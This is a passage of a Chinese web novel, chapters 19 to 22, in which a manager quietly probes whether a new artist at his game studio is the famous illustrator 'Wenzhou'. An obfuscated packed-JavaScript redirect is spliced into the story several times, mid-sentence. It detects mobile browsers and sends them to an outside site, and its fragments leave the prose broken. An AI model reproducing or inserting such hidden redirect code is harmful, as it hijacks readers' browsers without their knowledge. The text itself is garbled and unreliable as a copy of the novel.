??? 卧槽,他刚刚好像听到了一个不得了的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他迷迷糊糊地睁开眼,脖颈因为长时间歪着有些发酸。视线聚焦,窗外熟悉的小区景色映入眼帘。 方闻洲一下子坐直身体,看向驾驶座。顾延早已熄了火,正低头看着手机,屏幕的光线映着他没什么表情的侧脸,看起来等了有一阵子了。 听到动静,他收起手机:“醒了?到了。” “啊抱歉,我睡过头了。”方闻洲脸上有些发热,匆忙地去解安全带。 推开车门,夜风的凉意包裹住他,让他清醒了几分。一只脚刚踏出车外,他忽然停下动作。 让上司亲自送回家还等了这么久,自己就这样转头走人,也太不礼貌了。 于是,方闻洲扶着车门,半转过身,硬着头皮客套道:“顾哥,谢谢你送我回来。都到楼下了,要不要上去坐坐?” 本以为男人会直接拒绝他的请求,谁知话音才落,一声干脆利落的回应就接了上来。 “好。” 方闻洲:“...??” 好什么好!一点也不好!这男人怎么不按常理出牌啊! 方闻洲眼睁睁看着顾延解开了安全带,像是真准备下车跟他上楼似得。 完了。 他之前亲口告诉顾延自己租的是个小单间,可他现在住的是套房,虽然不算奢华,但也绝对超出了普通应届生负担得起的范畴,更与单间相去甚远。 更要命的是,他那些练习画稿随手散落在房间各处,这要是被顾延看见,不仅之前苦心经营的贫穷形象会崩塌,就连带闻舟的马甲也要岌岌可危。 绝对不能让他上去。 电光石火之间,方闻洲凭借求生本能,又把刚刚推开的车门猛地关上,力道之大,震得车身都晃了晃。 这突兀的动静让顾延准备推车门的手停在了半空。他侧过头,目光落在方闻洲写满惊慌的侧脸上,眉梢微挑。 “怎么?” 方闻洲整个人僵在车门边,手指还死死抠着门把手。他能感觉到顾延戏谑的视线落在自己身上。 “我、我突然想起来!我那个租另一个单间的室友...他、他今晚好像带女朋友回来了!” 方闻洲语速飞快,眼神飘忽不定,根本不敢看顾延的眼睛,只能继续往下编:“这会儿上去恐怕不太方便。屋里隔音特别差,他们...动静可能有点大。咱们现在上去,得多尴尬啊哈哈哈哈!” 这个借口蹩脚得他自己都不信,但现在他实在编不出更合理的理由了。 顾延静静看着他慌乱的模样,笑了笑。 他原本就没有真要上楼的意思,但此刻少年这副急于掩饰的样子,反倒让他生出几分逗弄的心思。 收回手,顾延重新靠回驾驶座,语气平静:“是吗?” 方闻洲被他问得心里发虚,忙不迭地点头:“嗯嗯!是啊是啊,真的是特别不巧...!” “要不下次?下次一定!” “下次是什么时候?” 草,怎么还穷追不舍? 方闻洲咬了咬牙,把心一横:“下周!” 男人总算放过他,颔首接受了这个提议。 “行。” 约定暂成,方闻洲如蒙大赦,赶紧推开车门。 “顾哥路上小心!” 他匆匆丢下这句话,头也不回地落荒而逃。仓促间,一只素描笔从他没拉紧的背包侧袋滑出,落在副驾的地垫上。 顾延坐在驾驶座上,目送那个仓惶的背影消失在远处,才把视线移到车内多出的物件上。 —— 方闻洲一路冲进电梯,直到家门在身后合拢,才背靠着门板长长吐出一口气。 想到自己刚才在车里信誓旦旦的誓言,他一阵头痛。 不行,这个谎必须圆上。 他走到客厅沙发旁坐下,从口袋里掏出手机,切换了微信账号。 方闻洲有两个账号,一个直接以闻舟为名,专门用于承接商业约稿与圈内交流。另一个则叫一叶舟,用来处理现实中的工作与生活琐事。 用于现实生活的账号他以往登录不多,近期因为工作才频繁起来。万幸,之前为了租房,他加了好几个中介的微信,一直没删。 方闻洲点开通讯录,找到那几个备注着“XX小区中介”的联系人,手指在屏幕上一键多选,群发了条消息。 【一叶舟:在吗?有单间出租吗?】 消息发出不久,屏幕便接连弹出回复。方闻洲略过那些不符地段的中介,快速锁定了一个距离和预算都合适的目标。他向对方明确了地段和租金要求,中介很快发来几套符合的房源信息。 经过一番筛选,方闻洲与其中一位中介约好,明天下班后就直接去看房。 第二天清晨,为了逃离通勤地狱的拥挤,他挥手打了辆车。 抵达公司,距离上班还有一段时间,办公区里人还不多。他快步走向自己的工位,准备画第三幅草图。 刚放下背包,还没来得及坐下,一个阴阳怪气的声音就在身后响起。 “哟,来得真早啊,这么积极?” 方闻洲不用回头也知道是谁,他懒得回复余明,打开电脑。 余明双手抱胸,倚在旁边的隔断上,语气酸溜溜的:“闻洲昨天可是坐着顾哥的车走的,待遇就是不一般。怎么,今天顾哥没顺路再接你一趟?” 他声音不小, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750642|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引得几个早早来公司的同事竖起了耳朵。 方闻洲心里翻了个白眼,面上却依旧是那副无害样子,“余明你说笑了,顾哥只是顺路,我哪里敢劳烦上司天天接送。” “况且顾总向来公私分明,最反感有人失了分寸。这点,我们昨天不都亲眼见识过了吗?” 这话轻轻巧巧地把余明昨天的难堪又点了一下,余明脸色骤变,刚要反驳,另一道声音介入了进来。 “你要开口,也不是不行。” 顾延的嗓音自身后响起,两人俱是一惊,同时转头,只见顾延不知何时站在了他们身后,神色淡漠,显然将方才的对话听了个一清二楚。他身后还跟着一脸看好戏模样的顾行辰。 “小顾总!顾哥好!” 周围的员工们见到两位领导,纷纷出声打招呼。顾行辰随意地摆了摆手,示意大家继续工作,自己则双手插兜,饶有兴味的在自家堂哥和那个长相扎眼的新人之间逡巡。 嘴毒被人抓包,方闻洲收起伶牙俐齿的样子,乖乖打招呼:“顾哥早。” “早。”回完招呼,顾延主动说明了来意:“听说你们组昨天接手了角色的服装草图,早上顺路过来看看进度。” 他迈步走到方闻洲工位旁,垂眸看他:“你们画得怎么样了?” 分明只看着方闻洲一人说,出口的话却将余明也囊括了进来,仿佛真是来检查所有接手任务的新人工作。 余明抢先一步答道:“顾哥,我的初稿已经完成了。正在细化,您要现在过目吗?” “拿来。” 顾延没拒绝,姿态公事公办。 余明将自己的稿件调出转向顾延,脸上难掩得意。 他虽然为人处世惹人厌烦,但在专业领域确有实打实的功底,不然也不可能会被招进工作室里。 余明的草稿虽谈不上惊艳,但也挑不出什么硬伤。 顾延扫过屏幕,给出评价:“不错。” 这句肯定让余明更加嘚瑟,刚想再说点什么,顾延又重新转向方闻洲,那声点评像一句流程式的肯定,说完即过,并不值得过多停留。 “你的呢?”他问。 方闻洲摸不准顾延的意图,只得依言将自己完成的两幅线稿在屏幕上调出。 “这是我画的两套方案。” 他让出位置给顾延,顾延俯身,目光落在屏幕上。看得比刚才看余明的稿件时要仔细得多,手指在屏上滑动,放大了几个局部细节。 在画面呈现的同时,原本在一旁看戏的顾行辰也凑了过来。 顾延审视着屏幕上的线稿,眸色渐深。 这些图透着扎实的功底,线条流畅,完全符合任务要求。 但是,也仅此而已。 不管是从衣纹处理到轮廓转折,顾延都没有找到熟悉的痕迹,与记忆中那些充满张力的笔触截然不同。 每一处收尾都太过规范,完全不见那人作品中特有的随性。 为什么... 他想不通。 最终,顾延直起身,视线从屏幕移开,掠过少年,未发一语的转身离开。 19.第 19 章 顾行辰摸了摸鼻子,语气轻松地打圆场:“行了行了,都别愣着了,大家该干嘛干嘛,好好工作。” 说完,也迈开长腿快步跟了上去。 余明一直紧盯着顾延的反应,此刻见领导走远,立刻凑到方闻洲身边,用只有两人才能听清的音量,语气讥诮:“看来顾哥对你的大作不太满意啊。瞧见没,人家连一个字都懒得点评你。” 不等方闻洲回应,他又直起身提高音量,换上一副假惺惺的关切口吻,“闻洲,你也别太灰心!刚入行水平不稳定很正常,多跟前辈们学学,总能进步的。” 余明这番唱作俱佳的表演,引得附近几个同事纷纷看向方闻洲。 少年站在原地,垂眸不语,长长的睫毛垂下来,遮住了眼底的情绪,这模样落在旁人眼里,俨然是一副自尊心受挫,强忍难过的样子。 邻座一位女同事忍不住开口安慰:“闻洲,别往心里去啊。” “是啊。”另一人也接话道,“咱们新人都是这么过来的,慢慢积累经验就好。” “余明,你也少说两句吧。” 一时间,周围的安慰声此起彼伏,反倒将还想再说什么的余明晾在了一边,显得有些孤立。他讪讪地撇了撇嘴,终究没再继续挑衅。 而在一片善意的劝慰声中,低着头的方闻洲嘴角勾了下。 他要的就是这个效果,与其费力争辩,不如示弱。这不,人心向背,一目了然。 只不过,顾延的态度太过异常了。 从昨天在车上的探问,到方才审画时过分仔细的端详,这一切早已超出了一个上司对普通新人的关注范畴。 他究竟,在探究什么? —— 顾行辰跟着顾延一路进了办公室,门刚关上,就迫不及待地开口:“你看我就说他不可能是闻舟吧?你还非要三番两次去试探他。” 他回想起刚才在方闻洲工位上看到的那两张线稿,摇了摇头:“那稿子我也仔细看了,规规矩矩,半点闻舟的影子都摸不着,两人的画风根本就不是一个路数的。” 顾延沉默地靠在椅背上,对顾行辰的话不置可否。 顾行辰见他这副油盐不进的样子,有些着急,苦口婆心地劝道:“哥,我知道你欣赏闻舟,可咱们也得讲点基本逻辑是不是?” “要我说,你就别在他身上浪费时间了。人家就是个刚毕业的新人,有点天赋,但离闻舟那种级别差着十万八千里呢。你这三番两次的试探,别再把人家小孩给吓着了。” 办公室内一时无人说话。顾延从口袋中取出那只素描笔,视线落在笔上,指节摩挲着笔杆。 就在顾行辰以为他听进去了准备再接再厉,顾延摩挲的动作突然停住。 所有飘散的思绪在这一刻重新聚焦。 他抬起眼,目光笃定,不容任何人置疑。 “不。” 正因为他画得太过规矩,规矩到抹去了所有可能暴露的笔触习惯,才更可疑。 一个真正的新人,即便模仿,笔下也总会有属于自己未经驯化的东西。但他的没有,干净得像故意为之。 名字相似可以是巧合,职业相同可以是巧合,IP地址接近也可以是巧合。 可巧合太多,就不是巧合了。 顾行辰被他的态度气笑了,猛地一拍桌子:“行!那咱们打个赌!要是方闻洲真是闻舟,我顾行辰穿女装开直播给你当狗使唤。” 顾延淡淡地迎上堂弟激动的目光,“可以。” “要是你输了,就得无偿给我打一个月的工!” “成交。” —— 下班时间一到,方闻洲便迅速收拾好东西。 他傍晚约了中介看房,得赶在六点半前到达小区,若是动作太慢,怕要耽误中介的时间。 方闻洲站在路边拦了辆出租车,报出小区地址。晚风拂面,一路畅通,二十分钟后车已停在他租住的小区门口。 他站在小区门口的路边,正准备给中介发消息,手机却先一步响了起来。 “方先生您好,实在不好意思,我这边临时有点事耽搁了,马上就到,五分钟!最多五分钟!麻烦您先在门口稍等我一下,真的非常抱歉!” 听着电话那头连声道歉,方闻洲放缓语调:“没关系,不着急,我就在门口等你。” 中介又是一阵道谢,通话结束,他收起手机。 夕阳的余晖给建筑镶上了一层光边,方闻洲百无聊赖地踱到一旁的树荫下,视线扫向远处的街角。 嗯?远处街头那辆车怎么看起来那么眼熟? !!!这不是他昨天晚上才坐过的黑色奥迪吗? 方闻洲整个人飞快地往树干后一缩,紧紧贴着粗糙的树皮,屏住呼吸,只敢悄悄探出小半边脑袋,紧张地观察着。 那辆车开得很慢,仿佛在寻找合适的停车位,最后竟真的停在了离小区门口不远的路边。 他怎么又来了?!该不会是反悔了,今天就要来坐坐? 车辆停稳,顾延推开车门,迈步下车。他没有离开,只是随意地倚在车边,目光漫不经心地掠过街景,像是在等什么人。 方闻洲立刻把脑袋彻底缩了回去,心里暗暗叫苦。这尊大佛杵在门口,他还怎么跟中介碰头? 就在他祈祷顾延只是偶然路过,很快就会离开时,一阵响亮的手机铃声从他口袋传出,在这相对安静的街景显得格外嘹亮。 方闻洲手忙脚乱地掏出手机,看到屏幕上备注的房屋中介,简直想原地消失,他迅速按了静音,但为时已晚。 有一道视线穿透了街道,落在了他藏身的这棵树上。 完了... 电话因为无人接听而自动挂断,下一秒,屏幕再次亮起,中介的第二通电话打了进来。与此同时,方闻洲眼角的余光瞥见,那个倚在车边的身影动了。 顾延直起身朝着他藏身的这棵树的方向走了过来。 一步,两步。 距离在无限地拉近。 就在这千钧一发之际,不远处传来一声热情的呼喊:“方先生!是方先生吗?” 骑着电动车,身穿中介服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“记住哦,接下来不管我说什么,你只管点头说‘嗯嗯’就好,多余的话一句都别讲。” “嗯嗯。” 中介小哥的角色带入很快,方闻洲非常满意。他故作自然地和小哥在人行道上慢悠悠地踱起步来,一副工作结束的闲散模样。 磨蹭了几分钟,感觉时机成熟,方闻洲才装作不经意地溜达回小区门口,装作刚刚发现顾延的样子,脸上调整出惊讶的小表情,主动迎了上去。 “顾哥,好巧哦,你怎么在这里啊?” 中介小哥紧跟在后,尽职尽责地点头:“嗯嗯。” 顾延的视线掠过他绯红的脸颊与汗湿的额发,最后定格在他那双努力维持镇定的眼眸上。 “有事找你,你后面这位是?” “哦,这就是我昨天跟你提过的,合租室友小李。” 方闻洲说着,暗中递了个眼色。 小哥接收到信号,赶紧点头,“嗯嗯。” 顾延问:“是个哑巴?” 20.第 20 章 “...” “不是的不是的,顾哥你别误会。小李他就是为人比较腼腆,不太会和陌生人打交道。” 顾延:“哦?你室友是做什么职业的?” 方闻洲看了眼一身中介装的小哥,脱口而出:“销售!” 小哥:“嗯嗯。” 顾延:“那他业绩估计不怎么样吧。” 方闻洲、小哥:“......” 顾延怎么还没被自己的嘴巴毒死!? 这个话题是绝对不能继续下去,再聊下去指不定要暴露什么。方闻洲扬起一个笑容,强行转移话题。 “顾哥,您在这边是在等什么人吗?” “嗯,等你。” “等我?” 顾延没再多言,从口袋里取出素描笔,递到他面前,“你的笔昨晚掉车上了。” 原来是为了还笔。 方闻洲暗暗松了口气,连忙接过,就在他指尖即将触到笔杆时,顾延捏着笔的手往前递了半分。 这个细微的动作让方闻洲温热的指尖不偏不倚地擦过顾延微凉的指节。 动作自然,不着痕迹。 少年没觉得有什么异样,乖巧的道谢:“我都没发现它掉了,还麻烦您专门跑一趟。” “不麻烦,正好有事要办,顺路。” 方闻洲飞快地将笔塞进背包,正准备找个借口开溜,就听见顾延不紧不慢地又开了口。 “刚才顶着包跑得挺累的吧,要不要擦擦汗?” 男人佯装关心,不知从哪里掏出纸巾,递给方闻洲。少年哪里敢接这句话,他整个人都石化了。 这狗男人果然看见了,不仅看见了他顶着包狂奔的蠢样子,还特意等在这里,就为了看他如何圆谎。 短暂的羞窘之后,恼意直冲头顶。方闻洲黑白分明的眼睛里写满了控诉。 都怪顾延!要不是他莫名其妙地出现,自己根本不会落荒而逃,更不会陷入现在这样进退两难的窘境。 这么一想,所有的错顿时都有了归处。他飞快地抬眼瞪了顾延一下,眼神委委屈屈。 明明是自己先撒了谎,倒像是被人欺负了似的。 方闻洲实在藏不住情绪,腮帮子微微鼓起,干脆破罐子破摔,信口胡诌:“我们刚才是在进行负重跑步,锻炼身体。” 说完仍觉不解气,故意将了一军:“你要一起来吗?” “不了。”顾延怕人跑了见好就收,将目光从主犯身上移开,转向了旁边的从犯。 “昨天过的还不错吧?祝你和你的对象百年好合。” 小哥:??? 他哪来的对象。 一直寻找机会插话,准备随时附和的中介小哥意识到自己好像在莫名其妙中吸引了火力,识相闭上了嘴巴。 眼看场面即将失控,再待下去不知道顾延还会说出什么惊世骇俗的话来,方闻洲一把拉住身边的中介小哥,对着顾延扯出一个笑容。 “顾哥,我们锻炼还没结束,得继续跑步了!先走了哈!” “嗯,去吧。” 得到这句首肯,方闻洲如蒙大赦,一把拽住还在状况外的中介小哥,头也不回地逃离了现场。 经过顾延这么一搅和,先前看新环境的那点新鲜劲儿彻底没了。 方闻洲和小哥简单看了看之前约好的那个单间,比他现在住的套房条件差远了,但为了圆谎,他还是硬着头皮签了短期租赁合同,打算偶尔过去摆点东西,装装样子。 付完定金和额外承诺的中介费,送走一步三回头眼神复杂的小哥,方闻洲独自站在陌生的楼道里,看着手里的钥匙,只觉得一阵心累。 这都什么事儿啊! 当了回冤大头的方少年一刻也不想在这个地方多待,快步回到了熟悉的家中。推开门,言言正端坐在玄关,歪着小脑袋看他。 他弯腰将小猫抱起,把脸深深埋进它温暖柔软的毛发里,闷闷地说:“言言,爸爸今天做了件好傻的事。” 小猫在他怀里“喵”了声作为回答。 方闻洲没再多说,抱着它在沙发上坐了一会儿才去洗澡。 温热的水流冲在身上,带走了身体上的疲惫。他洗完出来,换上干净的睡衣,感觉整个人都轻松了不少。 柔软的床随着少年的动作深陷下去,躺在床上的人累得一动不想动。就在他迷迷糊糊快要睡着的时候,枕边的手机屏幕忽然亮起,传来轻微的震动。 方闻洲懒洋洋地伸手拿过手机,眼睛半睁半闭地看向屏幕。 下一刻,残存的睡意消失,他坐直了身体。 发信人显示的是言故。 自从上次约稿结束,两人便再没联系过,此刻的消息让他感到有些意外。方闻洲顺手点进了聊天界面。 【G:上次答应你的签名本已经写好了,给我个地址,寄给你。】 屏幕上的字映入眼帘,方闻洲很是期待。 他一直惦记这件事,只是顾虑对方现实生活或许繁忙,始终不便催促。略作思忖之后,方闻洲给出了一个收件地址。 那是他童年居住过的旧公寓。如今虽已无人长住,但一位看着他长大的老邻居张伯仍在附近,可以代为收件。 过些日子,他也正计划回去一趟,去见见他的父母,也去看看一直对他照顾有加的张伯。 【闻舟:好的!麻烦您寄到这个地址,F省××岛××小区,谢谢言故老师!】 【G:F省××岛?】 【闻舟:昂,怎么了?】 对话框上方显示对方正在输入,片刻后新消息跳了出来。 【G:没什么。我去过F省,但没有到过××岛。听说××岛的风景很美好,当地的海鲜也很出名。】 方闻洲眼睛微微一亮,心弦被轻轻拨动,思绪立刻飘回了那个F省附属的小海岛。 他一直很喜欢自己的家乡,岛上民风淳朴,邻里相熟。只是四面环海,水流湍急,至今未能建桥,出入全靠渡船。 这些年,岛上的年轻人大多外出谋生,留下的多是眷恋故土的老人。 此刻听言故提起F省,一股倾诉欲油然而生。 【闻舟:言故老师知道××岛?】 【G:知道一些,你是在那里长大的?】 【闻舟:对呀,我童年和少年时期基本都在岛上度过,那里的一草一木我都特别熟悉!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768985|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【G:那样的环境,应该能沉淀下很多创作灵感。】 【闻舟:哇,老师您连这个都能感觉到吗?可能吧,虽然我画的内容和家乡关系不大,但那种氛围或许真的不知不觉就融入进去了。】 【G:不过那样偏安一隅的地方,对于追求更广阔发展的年轻人来说,机会可能相对有限?】 顾延不着痕迹地将话题过渡到现状。方闻洲对言故本就怀有天然的信任,加之聊起故乡的放松,让他只觉得与对方相谈甚欢。 【闻舟:是啊,岛上机会不多。大部分年轻人,像我这样的,长大了基本都会选择出来读书工作。】 【G:理解。为了更好的发展和生活,离开熟悉的环境是很多人的选择。】 【G:所以你现在已经不在岛上了?】 【闻舟:嗯,因为一些个人原因和发展考虑,我已经搬出来住啦。】 【G:原来如此。换个环境确实能接触到更多可能。】 【G:那你如今住的地方还习惯吗?气候、饮食这些,和岛上差别大不大?】 话题被巧妙地引向了更为日常的生活细节。这种看似不经意的关心,远比直接追问来得有效,既松弛了对方的心防,也让自己得以从那些零碎的回答中,拼凑出想要的答案。 不过,长久以来养成的对现实身份的保护习惯,让少年在聊得兴起时,依然习惯性地规避了所有过于具体的信息。 【闻舟:嘿嘿,我适应能力挺强的。而且现在住的地方也是南方城市,气候和岛上有点像,就是听不到海浪声了有点可惜。】 对方避重就轻,只隐约透露身处南方。 顾延眼底掠过笑意。小狐狸的尾巴藏得很好,他没有再深入这个话题,以免引起对方警觉,适时地收了线。 【G:后面肯定还有机会回去的,摸摸头。】 【闻舟:嗯!肯定会回去的!谢谢言故老师陪我聊了这么多家乡的事,真的很开心。】 【G:上次直播间说的忘记了吗?不用总是叫我老师,叫我言故就好。】 【G:说起来,我们两个现在应该算是朋友了吧?】 【闻舟:当然是啦!】 他毫不犹豫地回复。 信息刚发出去,言故的下一条消息紧随而至,言语亲昵悄然越界。 【G:那作为朋友,我可以叫你舟舟吗?】 舟舟? 方闻洲一愣。 除了相识多年的吐司和家里的至亲,几乎没人这么叫他。 不知道是不是他的错觉,他总感觉言故有点迫不及待的意味? 短暂的纠结后,他最终还是没好意思拒绝。 【闻舟:可以!】 屏幕另一端,顾延将这个昵称默念于心。 猎物已经默许了第一步的靠近,接下来时间还多,他完全可以慢慢把小狐狸引进窝里。 男人点到为止,又开始披上人皮。 【G:时间不早了,你早些休息,签名本我明天就安排寄出,注意查收。】 【闻舟:好的!太感谢你了言故!你也早点休息,晚安晚安~】 【G:晚安,舟舟。】 21.第 21 章 第二天清晨,部门内部的小型早会照常进行。 不同于上次全公司范围的大会,这次会议仅限于美术组的成员。组长站在前方,说了些鼓舞人心的话,会议最后又提到上次分配的NPC服装草图任务。 “关于上次的紧急任务,方闻洲和余明都提交了各自的方案。” 余明在话语间得意洋洋的看了眼方闻洲,以为这个方案他势在必得。上头组长的话还在继续。 “经过我和总监的审阅评估,最终决定采用方闻洲的设计。” 此话刚说出口,余明脸上的表情急转直下,他一时没把控情绪,脱口而出问道:“为什么?” 被他这一声有些尖锐的问话吸引,所有人的目光聚焦在余明身上。意识到自己的失态,他强压住心里翻涌的不甘,试图让自己的语气听起来更平和一些。 “组长,总监,我没有质疑你们决定的意思。只是我想了解一下自己不足在哪里,方便后续改进。” 一直坐在主位的美术总监轻飘飘地看了余明一眼。 “为什么?”他重复了一遍余明的问题,“余明,你的技术功底确实不错,可以看出花了不少功夫。” “但你提交的几套方案里,有好几处装饰元素和色彩搭配,与某个画师早期非商用的角色设定图高度相似,或许你是无意识的借鉴,但在商业项目中,这种程度的巧合是我们必须要规避的风险。” 总监的话让余明的脸色变得惨白,嘴唇嗫嚅着想辩解什么,却发现自己无从反驳。 他确实反复研究过闻舟的图,那些细节不知何时已刻入脑海,下笔时自然而然地就流泻了出来,自以为是吸收借鉴,没想到却被总监一眼看穿。 总监没再看他,将视线转向方闻洲,“方闻洲的方案,虽然风格相对保守内敛,但贵在原创度高,细节考虑周全,更符合这个NPC的背景设定和项目整体的美术风格要求。” 这番解释清晰明了,既点明了余明作品的问题,又肯定了方闻洲方案与游戏故事背景的契合。高下立判,余明再也没有了嚣张的态度,铁青着脸,难堪地低下了头。 总监雷厉风行,直接开始分配后续任务,会议很快结束。方闻洲收拾好东西,正准备离开,却被总监叫住。 “闻洲。”总监看着他,语气比刚才温和了些,“你的设计思路很好,继续保持。下午把细化方向做个简单的PPT,直接发我邮箱。” “好的总监,我会尽快完成。”方闻洲乖巧应下。 总监点了点头,对他的态度很满意,“另外,接下来关于七夕限定活动的项目,你也提前参与进来,跟着主美熟悉一下流程。” 方闻洲微微一怔。 七夕活动? 他迅速在心里算了算时间,现在距离七夕佳节确实只剩两个多月了。 公司近期重点研发的是一款主打沉浸式恋爱体验的乙女向手游,玩家群体对节日活动,尤其是七夕这种具有浪漫色彩的节点,期待值自然拉满。 因此,公司上下对这次活动极为重视,投入了大量资源。 他之前也有所耳闻,据说活动的核心主题与玩法框架,在策划部门历经数轮脑暴后,已于上周基本敲定。如今,项目正式从策划阶段进入到关键的执行阶段。 而打头阵的,正是美术资源部门,从限定卡面、活动场景到专属时装,所有视觉元素都需围绕既定主题铺开,工作量巨大,要求也极高。 能在入职初期就被点明参与到如此核心的项目中,这对任何一个新人来说,都无异于是一种巨大的认可。 可他自认来到公司后,一直秉持着低调行事的态度,表现中规中矩,绝对谈不上突出。论资历,他是最新的。论展现出的能力,在众多同事中也并非鹤立鸡群。 为什么上层会越过其他人,偏偏指派他一同参与这个备受重视的活动项目? 眼下不是深究的时候。方闻洲暂按心头疑虑,依旧是那副乖巧认真的模样,“明白,谢谢总监给我这个机会,我会尽快向主美请教,熟悉项目需求的。” “嗯,好好干。”总监最后鼓励了一句,先行离开了会议室。 方闻洲心里揣着那点挥之不去的疑惑,回到了自己的工位。 个人接稿和团队项目终究是两码事,流程规范和沟通协作的要求都截然不同。他虽然对自己的专业能力有自信,但也清楚商业项目的复杂。 既然机会已经落在头上,多想无益,眼下最要紧的是尽快跟上节奏。 方闻洲打开电脑,通过内部通讯软件向主美发送了添加好友的申请,并在备注里礼貌地说明了来意,申请被秒通过。 【主美:闻洲是吧?有人跟我打过招呼了。别紧张,先把项目背景过一遍,有不明白的随时问我。】 【方闻洲:好的谢谢您,那我先看文档,有问题再向您请教!】 回复完毕,方闻洲便埋头扎进了项目文档里,将那些纷乱的思绪暂时抛诸脑后。 而彼时,离开会议室的美术总监,脚步却在走廊拐了个弯,来到了顾行辰的办公室门前。他轻敲两下门,得到允许后推门而入。 办公室内,不止有顾行辰,连顾延也都在,想来三人早有约定。 “事情和他说了?” 姿态闲适坐在会客区沙发上的男人见到美术总监进来,抬眼问道。 “嗯,已经通知方闻洲了,”总监点了点头,如实汇报。 话虽如此,总监心里却并非全无疑虑。 他浸淫职场多年,深谙培养新人的常规路径,通常会让新人从辅助性工作或要求较低的小项目入手,逐步磨合。 虽然他之前看到过方闻洲的画册,也被他的画作所吸引。但方闻洲入职后的表现,远不如面试时提交的画作那般惊艳,这让他不禁认为,那些作品或许只是灵光一现的偶然。 正因如此,他也不禁觉得上级的决策实在有些破格< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784585|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这些念头在他脑中盘旋,但他面上不显,深知上级的决定自有其道理,不该多问。 然而,顾延却像是能洞察人心,轻易看穿了他心里的纠结,他难得向下级主动给出了确切的解释。 “方闻洲的基础很扎实,审美也在线。我看过他的一些早期练习稿。他的潜力,不止于此。” 这话说得有些模糊,但意思明确,他不是凭空做决定,而是基于对方能力的判断。 “只是可能刚进入团队,对商业项目的流程和规范还不熟悉,放在大项目里磨一磨,进步会更快。这次跟着主美,是个很好的学习机会,也要劳烦你们多带带他。” 上级的话已经说到这个份上,其中的赏识与期许不言而喻。 总监心领神会:“自然自然。” 他表态完毕,见顾延微微颔首不再多言,知趣找了个借口离开。 办公室的门刚一合拢,一直窝在老板椅上的顾行辰就忍不住了,看向沙发上气定神闲的顾延,语气十分不赞同。 “哥,不是我多嘴啊。你把方闻洲一下子塞进七夕项目组,这不纯纯把他架在火上烤吗?美工部多少双眼睛盯着这块肥肉。” “这么明目张胆地特殊关照,公司里那些关于他靠脸上位的闲话,还不得传得更难听?” 顾延闻言,不疾不徐地回应:“他有那个实力。” “可是就算他有实力,这样拔苗助长是不是也太急了点?慢慢来,从小项目做起,稳扎稳打不是更好?” 顾延打断他,“真正有才华的人,需要的是足够高的平台。” “至于谣言,从来都只会在弱者身边喧嚣。当他拿出让所有人无话可说的作品时,那些声音自然会闭嘴。如果他做不到,那被淘汰也是理所当然。” 顾行辰的担忧不无道理,但顾延心中自有更深的盘算。还有几句话,他没有对顾行辰明说。 如果他对方闻洲的身份猜测没有错,那么,一个早已在自由创作领域站稳脚跟的顶尖画师,为什么要屈就于一家游戏公司,从一个基础岗位做起? 答案很可能并非为了生计,而是他主动在寻求某种转变。他或许是想跳出个人创作的闭环,体验团队协作,寻找新的灵感和挑战。 既然方闻洲自己想要,那么顾延不介意亲手为他提供一个最广阔的平台。 退一万步讲,即便他猜错了,方闻洲并非他想的那个人,只是一个颇有潜力的普通新人。 那么,将一个好学且心态稳定的新人投入核心项目,在高压环境下由资深主美带领,所能接触到的流程和解决问题的思路,也远非边缘小项目可比。 几日下来,顾延已将方闻洲与余明之间的交锋收于眼底。面对余明那些上不得台面的挑衅,方闻洲总能轻易的化解。 这人看起来乖巧无害,但心思玲珑的很。 顾延可以肯定,那些流言蜚语,绝不至于让这绝顶聪明的少年心态崩溃,从而影响到自己。 22.第 22 章 果然如同顾行辰所料,七夕项目组的成员名单一经内部公示,方闻洲的名字混在资深员工之中就显得格外扎眼。 看到内部公示,余明趁方闻洲不在工位,语气讽刺对其余人说道,“唉,我们埋头苦干,到底不如人家会来事儿。” 